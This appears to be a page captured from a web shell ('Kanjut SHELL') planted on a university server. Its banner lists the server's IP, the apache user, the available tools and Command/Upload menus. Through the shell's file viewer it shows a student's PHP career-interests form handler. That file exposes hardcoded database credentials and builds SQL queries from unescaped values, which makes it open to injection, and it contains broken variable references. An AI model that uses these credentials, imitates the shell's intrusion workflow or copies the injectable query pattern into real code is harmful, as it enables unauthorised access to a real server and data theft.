Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 3.135.219.153
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/bdstamour/public_html/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/bdstamour/public_html/CareerInterestsAction.php
<?php
	session_start();
	ob_start();
	if (isset($_SESSION['username']))
	{
?>
<HTML>
<H2>
<TITLE>FirstStep</TITLE>
<CENTER>
Career Interests
</H2>
<HR>
<CENTER>
<?php
	$host = 'localhost';
	$user = 'bdstamour';
	$passw = 'cs480';
	$database = 'bdstamour';
	$connect = mysqli_connect($host, $user, $passw);

	mysqli_select_db($connect, $database);

	$usernamesesh = $_SESSION['username'];

	$query = "select id from FirstStep2 where username='$usernamesesh'";
	$UserArray = mysqli_fetch_array(mysqli_query($connect, $query)) or die(mysqli_error($connect));
	$UserID = $UserArray[0];

	$BusinessSelect = $_POST['Business'];
	$ComputersSelect = $_POST['Computers'];
	$ConstructionSelect = $_POST['Construction'];
	$EducationSelect = $_POST['Education'];
	$EngineeringSelect = $_POST['Engineering'];
	$FarmingFishingSelect = $_POST['FarmingFishing'];
	$HealthSelect = $_POST['Health'];
	$HospitalitySelect = $_POST['Hospitality'];
	$LawEnforcementSelect = $_POST['LawEnforcement'];
	$ManagementSelect = $_POST['Management'];
	$MediaSelect = $_POST['Media'];
	$MilitarySelect = $_POST['Military'];
	$OfficeAdministrationSelect = $_POST['OfficeAdministration'];
	$ProductionSelect = $_POST['Production'];
	$ProfessionalSelect = $_POST['Professional'];
	$PsychologySelect = $_POST['Psychology'];
	$InstallationRepairSelect = $_POST['InstallationRepair'];
	$SalesSelect = $_POST['Sales'];
	$ScienceSelect = $_POST['Science'];
	$TransportationSelect = $_POST['Transportation'];

	$Business = array("Accounting and Auditing", "Advertising, Marketing and Public Relations", "Management Analyst and Consultant",
	"Investment Banker", "Real Estate Broker/Agent");
	$Computers = array("Computer Programmer", "Computer Scientist", "Computer Systems Analyst",
	"Computer Hardware Engineer", "Database Administrator");
	$Construction = array("Architect", "Carpenter", "Construction Manager",
	"Electrician", "Surveyor");
	$Education = array("Curriculum Specialist", "Education Administrator", "Elementary Teacher",
		"Special Education Teacher", "Teacher Assistant");
	$Engineering = array("Chemical Engineer", "Civil Engineer", "Electrical Engineer",
		"Mechanical Engineer", "Nuclear Engineer");
	$FarmingFishing = array("Forest, Conservation and Logging Workers", "Fishers, Fisherman and Vessel Operators/Captains");
	$Health = array("Anesthesiologist", "Chiropractor", "Dentist",
		"Dietitians and Nutritionists", "Registered Nurse (RN)");
	$Hospitality = array("Chef, Cook and Food Preparation Worker", "Lodging and Hotel Manager", "Travel Agents");
	$LawEnforcement = array("Criminologist", "Crime Scene Investigator", "Forensic Scientist",
		"Corrections Officer", "Paralegal");
	$Management = array("Advertising and Marketing Manager", "Computer Information Systems Manager", "Government Manager",
		"Financial Manager", "Property Manager");
	$Media = array("Broadcast Engineering Technician", "News Analysts, Reporters, and Correspondents", "Public Relations Specialist",
		"Television, Video, and Motion Picture Camera Operators and Editors", "Writers and Editors");
	$Military = array("Marine Corps", "Army", "Air Force",
		"Navy");
	$OfficeAdministration = array("Bookkeeping, Accounting, and Auditing Clerks", "Computer Operator", "Data Entry and Information Processing Worker",
		"Receptionists and Information Clerks", "Secretary and Office Assistants");
	$Productions = array("Assemblers and Fabricators", "Jewelers and Precious Stone and Metal Workers", "Machinist",
		"Welding, Soldering, and Brazing Workers");
	$Professional = array("Barber, Cosmetologist and Hair Stylist", "Clergy", "Fashion Designer",
		"Fundraiser", "Social Worker", "Veterinarian");
	$Psychology = array("Forensic Psychologist", "Industrial-Organizational Psychologist", "Clinical Psychologist",
		"Cognitive Psychologist", "Child Psychologist");
	$InstallationRepair = array("Auto Body Repairers", "Carpet, Floor, and Tile Installers and Finishers", "Home Appliance Repairman",
		"Diesel Service Mechanics", "Automotive Service Technicians and Mechanics");
	$Sales = array("Advertising Sales Agent", "Insurance Agent", "Real Estate Agent",
		"Retail Sales", "Securities, Comodities, and Financial Services Sales Agents");
	$Science = array("Archeologists and Athropologists");
	$Transportation = array("Air Traffic Controllers", "Aircraft Pilots and Flight Engineers", "Bus Drivers",
		"Taxi Drivers and Chauffeurs", "Truck Drivers");


	if(count($BusinessSelect)==0 && count($ComputersSelect)==0 && count($ConstructionSelect)==0 && count($EducationSelect)==0 && count($EngineeringSelect)==0 &&
		count($FarmingFishingSelect)==0 && count($HealthSelect)==0 && count($HospitalitySelect)==0 && count($LawEnforcementSelect)==0 && count($ManagementSelect)==0 &&
		count($MediaSelect)==0 && count($MilitarySelect)==0 && count($OfficeAdministrationSelect)==0 && count($ProductionSelect)==0 && count($ProfessionalSelect)==0 &&
		count($PsychologySelect)==0 && count($InstallationRepairSelect)==0 && count($SalesSelect)==0 && count($ScienceSelect)==0 && count($TransportationSelect)==0)
	{
		print "You didn't select anything.";
	}
	else
	{
		print "Your selections were: ";
	}

	if(count($BusinessSelect) != 0)
	{
		print "<H4>Business</H4>";

		for($i=0; $i<count($BusinessSelect); $i++)
		{
			print $Business[$BusinessSelect[$i]];
			$insert = $Business[$BusinessSelect[$i]];
			$query = "select * from Interests where UserID='$UserID' and Interest='$insert'";
			$result = mysqli_query($connect, $query) or die(mysqli_error($connect));
			if(mysqli_num_rows($result)==0)
			{
				mysqli_query($connect, "insert into Interests (UserID, Interest) values ('$UserID', '$insert')");
			}
			else
			{
				print "<FONT color=red> - You already have selected this as an interest.</FONT>";
			}
			print "<BR>";
		}
		print "<P><P>";
	}

	if(count($ComputersSelect) != 0)
	{
		print "<H4>Computers</H4>";

		for ($i = 0; $i<count($ComputersSelect); $i++)
		{
			print $Computers[$ComputersSelect[$i]];
			$insert = $Computers[$ComputersSelect[$i]];
			$query = "select * from Interests where UserID='$UserID' and Interest='$insert'";
			$result = mysqli_query($connect, $query) or die(mysqli_error($connect));
			if(mysqli_num_rows($result)==0)
			{
				mysqli_query($connect, "insert into Interests (UserID, Interest) values ('$UserID', '$insert')");
			}
			else
			{
				print "<FONT color=red> - You already have selected this as an interest.</FONT>";
			}
			print "<BR>";
		}
		print "<P><P>";
	}

	if(count($ConstructionSelect) != 0)
	{
		print "<H4>Construction</H4>";

		for ($i = 0; $i<count($ConstructionSelect); $i++)
		{
			print $Construction[$ConstructionSelect[$i]];
			$insert = $Construction[$ConstructionSelect[$i]];
			$query = "select * from Interests where UserID='$UserID' and Interest='$insert'";
			$result = mysqli_query($connect, $query) or die(mysqli_error($connect));
			if(mysqli_num_rows($result)==0)
			{
				mysqli_query($connect, "insert into Interests (UserID, Interest) values ('$UserID', '$insert')");
			}
			else
			{
				print "<FONT color=red> - You already have selected this as an interest.</FONT>";
			}
			print "<BR>";
		}
		print "<P><P>";
	}

	if(count($EducationSelect) != 0)
	{
		print "<H4>Education</H4>";

		for ($i = 0; $i<count($EducationSelect); $i++)
		{
			print $Education[$EducationSelect[$i]];
			$insert = $Education[$EducationSelect[$i]];
			$query = "select * from Interests where UserID='$UserID' and Interest='$insert'";
			$result = mysqli_query($connect, $query) or die(mysqli_error($connect));
			if(mysqli_num_rows($result)==0)
			{
				mysqli_query($connect, "insert into Interests (UserID, Interest) values ('$UserID', '$insert')");
			}
			else
			{
				print "<FONT color=red> - You already have selected this as an interest.</FONT>";
			}
			print "<BR>";
		}
		print "<P><P>";
	}

	if(count($EngineeringSelect) != 0)
	{
		print "<H4>Engineering</H4>";

		for ($i = 0; $i<count($EngineeringSelect); $i++)
		{
			print $Engineering[$EngineeringSelect[$i]];
			$insert = $Engineering[$EngineeringSelect[$i]];
			$query = "select * from Interests where UserID='$UserID' and Interest='$insert'";
			$result = mysqli_query($connect, $query) or die(mysqli_error($connect));
			if(mysqli_num_rows($result)==0)
			{
				mysqli_query($connect, "insert into Interests (UserID, Interest) values ('$UserID', '$insert')");
			}
			else
			{
				print "<FONT color=red> - You already have selected this as an interest.</FONT>";
			}
			print "<BR>";
		}
		print "<P><P>";
	}

	if(count($FarmingSelect) != 0)
	{
		print "<H4>Farming & Fishing</H4>";

		for ($i = 0; $i<count($FarmingFishingSelect); $i++)
		{
			print $FarmingFishing[$FarmingFishingSelect[$i]];
			$insert = $FarmingFishing[$FarmingFishingSelect[$i]];
			$query = "select * from Interests where UserID='$UserID' and Interest='$insert'";
			$result = mysqli_query($connect, $query) or die(mysqli_error($connect));
			if(mysqli_num_rows($result)==0)
			{
				mysqli_query($connect, "insert into Interests (UserID, Interest) values ('$UserID', '$insert')");
			}
			else
			{
				print "<FONT color=red> - You already have selected this as an interest.</FONT>";
			}
			print "<BR>";
		}
		print "<P><P>";
	}

	if(count($HealthSelect) != 0)
	{
		print "<H4>Health</H4>";

		for ($i = 0; $i<count($HealthSelect); $i++)
		{
			print $Health[$HealthSelect[$i]];
			$insert = $Health[$HealthSelect[$i]];
			$query = "select * from Interests where UserID='$UserID' and Interest='$insert'";
			$result = mysqli_query($connect, $query) or die(mysqli_error($connect));
			if(mysqli_num_rows($result)==0)
			{
				mysqli_query($connect, "insert into Interests (UserID, Interest) values ('$UserID', '$insert')");
			}
			else
			{
				print "<FONT color=red> - You already have selected this as an interest.</FONT>";
			}
			print "<BR>";
		}
		print "<P><P>";
	}

	if(count($HospitalitySelect) != 0)
	{
		print "<H4>Hospitality</H4>";

		for ($i = 0; $i<count($HospitalitySelect); $i++)
		{
			print $Hospitality[$HospitalitySelect[$i]];
			$insert = $Hospitality[$HospitalitySelect[$i]];
			$query = "select * from Interests where UserID='$UserID' and Interest='$insert'";
			$result = mysqli_query($connect, $query) or die(mysqli_error($connect));
			if(mysqli_num_rows($result)==0)
			{
				mysqli_query($connect, "insert into Interests (UserID, Interest) values ('$UserID', '$insert')");
			}
			else
			{
				print "<FONT color=red> - You already have selected this as an interest.</FONT>";
			}
			print "<BR>";
		}
		print "<P><P>";
	}

	if(count($LawEnforcementSelect) != 0)
	{
		print "<H4>Law Enforcement</H4>";

		for ($i = 0; $i<count($LawEnforcementSelect); $i++)
		{
			print $LawEnforcement[$LawEnforcementSelect[$i]];
			$insert = $LawEnforcement[$LawEnforcementSelect[$i]];
			$query = "select * from Interests where UserID='$UserID' and Interest='$insert'";
			$result = mysqli_query($connect, $query) or die(mysqli_error($connect));
			if(mysqli_num_rows($result)==0)
			{
				mysqli_query($connect, "insert into Interests (UserID, Interest) values ('$UserID', '$insert')");
			}
			else
			{
				print "<FONT color=red> - You already have selected this as an interest.</FONT>";
			}
			print "<BR>";
		}
		print "<P><P>";
	}

	if(count($ManagementSelect) != 0)
	{
		print "<H4>Management</H4>";

		for ($i = 0; $i<count($ManagementSelect); $i++)
		{
			print $Management[$ManagementSelect[$i]];
			$insert = $Management[$ManagementSelect[$i]];
			$query = "select * from Interests where UserID='$UserID' and Interest='$insert'";
			$result = mysqli_query($connect, $query) or die(mysqli_error($connect));
			if(mysqli_num_rows($result)==0)
			{
				mysqli_query($connect, "insert into Interests (UserID, Interest) values ('$UserID', '$insert')");
			}
			else
			{
				print "<FONT color=red> - You already have selected this as an interest.</FONT>";
			}
			print "<BR>";
		}
		print "<P><P>";
	}

	if(count($MediaSelect) != 0)
	{
		print "<H4>Media</H4>";

		for ($i = 0; $i<count($MediaSelect); $i++)
		{
			print $Media[$MediaSelect[$i]];
			$insert = $Media[$MediaSelect[$i]];
			$query = "select * from Interests where UserID='$UserID' and Interest='$insert'";
			$result = mysqli_query($connect, $query) or die(mysqli_error($connect));
			if(mysqli_num_rows($result)==0)
			{
				mysqli_query($connect, "insert into Interests (UserID, Interest) values ('$UserID', '$insert')");
			}
			else
			{
				print "<FONT color=red> - You already have selected this as an interest.</FONT>";
			}
			print "<BR>";
		}
		print "<P><P>";
	}

	if(count($MilitarySelect) != 0)
	{
		print "<H4>Military</H4>";

		for ($i = 0; $i<count($MilitarySelect); $i++)
		{
			print $Military[$MilitarySelect[$i]];
			$insert = $Military[$MilitarySelect[$i]];
			$query = "select * from Interests where UserID='$UserID' and Interest='$insert'";
			$result = mysqli_query($connect, $query) or die(mysqli_error($connect));
			if(mysqli_num_rows($result)==0)
			{
				mysqli_query($connect, "insert into Interests (UserID, Interest) values ('$UserID', '$insert')");
			}
			else
			{
				print "<FONT color=red> - You already have selected this as an interest.</FONT>";
			}
			print "<BR>";
		}
		print "<P><P>";
	}

	if(count($OfficeAdministrationSelect) != 0)
	{
		print "<H4>Office Administration</H4>";

		for ($i = 0; $i<count($OfficeAdministrationSelect); $i++)
		{
			print $OfficeAdministration[$OfficeAdministrationSelect[$i]];
			$insert = $OfficeAdministration[$OfficeAdministrationSelect[$i]];
			$query = "select * from Interests where UserID='$UserID' and Interest='$insert'";
			$result = mysqli_query($connect, $query) or die(mysqli_error($connect));
			if(mysqli_num_rows($result)==0)
			{
				mysqli_query($connect, "insert into Interests (UserID, Interest) values ('$UserID', '$insert')");
			}
			else
			{
				print "<FONT color=red> - You already have selected this as an interest.</FONT>";
			}
			print "<BR>";
		}
		print "<P><P>";
	}

	if(count($ProductionsSelect) != 0)
	{
		print "<H4>Productions</H4>";

		for ($i = 0; $i<count($ProductionsSelect); $i++)
		{
			print $Productions[$ProductionsSelect[$i]];
			$insert = $Productions[$ProductionsSelect[$i]];
			$query = "select * from Interests where UserID='$UserID' and Interest='$insert'";
			$result = mysqli_query($connect, $query) or die(mysqli_error($connect));
			if(mysqli_num_rows($result)==0)
			{
				mysqli_query($connect, "insert into Interests (UserID, Interest) values ('$UserID', '$insert')");
			}
			else
			{
				print "<FONT color=red> - You already have selected this as an interest.</FONT>";
			}
			print "<BR>";
		}
		print "<P><P>";
	}

	if(count($ProfessionalSelect) != 0)
	{
		print "<H4>Professional</H4>";

		for ($i = 0; $i<count($ProfessionalSelect); $i++)
		{
			print $Professional[$ProfessionalSelect[$i]];
			$insert = $Professional[$ProfessionalSelect[$i]];
			$query = "select * from Interests where UserID='$UserID' and Interest='$insert'";
			$result = mysqli_query($connect, $query) or die(mysqli_error($connect));
			if(mysqli_num_rows($result)==0)
			{
				mysqli_query($connect, "insert into Interests (UserID, Interest) values ('$UserID', '$insert')");
			}
			else
			{
				print "<FONT color=red> - You already have selected this as an interest.</FONT>";
			}
			print "<BR>";
		}
		print "<P><P>";
	}

	if(count($PsychologySelect) != 0)
	{
		print "<H4>Psychology</H4>";

		for ($i = 0; $i<count($PsychologySelect); $i++)
		{
			print $Psychology[$PsychologySelect[$i]];
			$insert = $Psychology[$PsychologySelect[$i]];
			$query = "select * from Interests where UserID='$UserID' and Interest='$insert'";
			$result = mysqli_query($connect, $query) or die(mysqli_error($connect));
			if(mysqli_num_rows($result)==0)
			{
				mysqli_query($connect, "insert into Interests (UserID, Interest) values ('$UserID', '$insert')");
			}
			else
			{
				print "<FONT color=red> - You already have selected this as an interest.</FONT>";
			}
			print "<BR>";
		}
		print "<P><P>";
	}

	if(count($InstallationRepairSelect) != 0)
		{
		print "<H4>Installation & Repair</H4>";

		for ($i = 0; $i<count($InstallationRepairSelect); $i++)
		{
			print $InstallationRepair[$InstallationRepairSelect[$i]];
			$insert = $InstallationRepair[$InstallationRepairSelect[$i]];
			$query = "select * from Interests where UserID='$UserID' and Interest='$insert'";
			$result = mysqli_query($connect, $query) or die(mysqli_error($connect));
			if(mysqli_num_rows($result)==0)
			{
				mysqli_query($connect, "insert into Interests (UserID, Interest) values ('$UserID', '$insert')");
			}
			else
			{
				print "<FONT color=red> - You already have selected this as an interest.</FONT>";
			}
			print "<BR>";
		}
		print "<P><P>";
	}

	if(count($SalesSelect) != 0)
		{
		print "<H4>Sales</H4>";

		for ($i = 0; $i<count($SalesSelect); $i++)
		{
			print $Sales[$SalesSelect[$i]];
			$insert = $Sales[$SalesSelect[$i]];
			$query = "select * from Interests where UserID='$UserID' and Interest='$insert'";
			$result = mysqli_query($connect, $query) or die(mysqli_error($connect));
			if(mysqli_num_rows($result)==0)
			{
				mysqli_query($connect, "insert into Interests (UserID, Interest) values ('$UserID', '$insert')");
			}
			else
			{
				print "<FONT color=red> - You already have selected this as an interest.</FONT>";
			}
			print "<BR>";
		}
		print "<P><P>";
	}

	if(count($ScienceSelect) != 0)
		{
		print "<H4>Science</H4>";

		for ($i = 0; $i<count($ScienceSelect); $i++)
		{
			print $Science[$ScienceSelect[$i]];
			$insert = $Science[$ScienceSelect[$i]];
			$query = "select * from Interests where UserID='$UserID' and Interest='$insert'";
			$result = mysqli_query($connect, $query) or die(mysqli_error($connect));
			if(mysqli_num_rows($result)==0)
			{
				mysqli_query($connect, "insert into Interests (UserID, Interest) values ('$UserID', '$insert')");
			}
			else
			{
				print "<FONT color=red> - You already have selected this as an interest.</FONT>";
			}
			print "<BR>";
		}
		print "<P><P>";
	}

	if(count($TransportationSelect) != 0)
	{
		print "<H4>Transporation</H4>";
		for ($i = 0; $i<count($TransportationSelect); $i++)
		{
			print $Transportation[$TransportationSelect[$i]];
			$insert = $Transportation[$TransportationSelect[$i]];
			$query = "select * from Interests where UserID='$UserID' and Interest='$insert'";
			$result = mysqli_query($connect, $query) or die(mysqli_error($connect));
			if(mysqli_num_rows($result)==0)
			{
				mysqli_query($connect, "insert into Interests (UserID, Interest) values ('$UserID', '$insert')");
			}
			else
			{
				print "<FONT color=red> - You already have selected this as an interest.</FONT>";
			}
			print "<BR>";
		}
		print "<P><P>";
	}
?>
<?php
	}
	else
	{
?>
<CENTER>
<?php
		print "You are not logged in. Please <A HREF=FirstStepIndex.php>login.</A><p>";
		print "<A HREF=NewUser.php>Not registered?  Let's get started!</A><p>";
	}
?>
<HR>
<?php
		include("date.php");
?>
</HTML>

Stv3n404 - 2023